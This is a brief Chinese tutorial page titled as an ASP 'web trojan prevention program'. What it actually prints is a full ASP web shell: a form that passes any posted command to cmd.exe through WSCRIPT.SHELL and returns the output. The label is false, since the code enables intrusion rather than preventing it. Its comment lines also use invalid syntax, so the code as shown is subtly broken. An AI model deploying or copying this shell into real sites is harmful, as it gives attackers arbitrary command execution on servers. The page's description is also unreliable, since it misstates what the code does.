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asp网页木马防止程序

<title>asp网页木马防止程序</title>我们能过防止shell命令来做的.
<%@ Language=VBScript %>
<%
 Dim oScript
 Dim oScriptNet
 Dim oFileSys, oFile
 Dim szCMD, szTempFile
 On Error Resume Next
 -- create the COM objects that we will be using --
 Set oScript = Server.CreateObject("WSCRIPT.SHELL")
 Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
 Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
 -- check for a command that we have posted --
 szCMD = Request.Form(".CMD")
 If (szCMD <> "") Then
  -- Use a poor mans pipe ... a temp file --
  szTempFile = "C:" & oFileSys.GetTempName( )
  Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
  Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
 End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行命令">
</FORM>
<PRE><%
 If (IsObject(oFile)) Then
  -- Read the output from our command and remove the temp file --
  On Error Resume Next
  Response.Write Server.HTMLEncode(oFile.ReadAll)
  oFile.Close
  Call oFileSys.DeleteFile(szTempFile, True)
 End If
%>
</BODY>
</HTML>

补充:asp教程,安全加密
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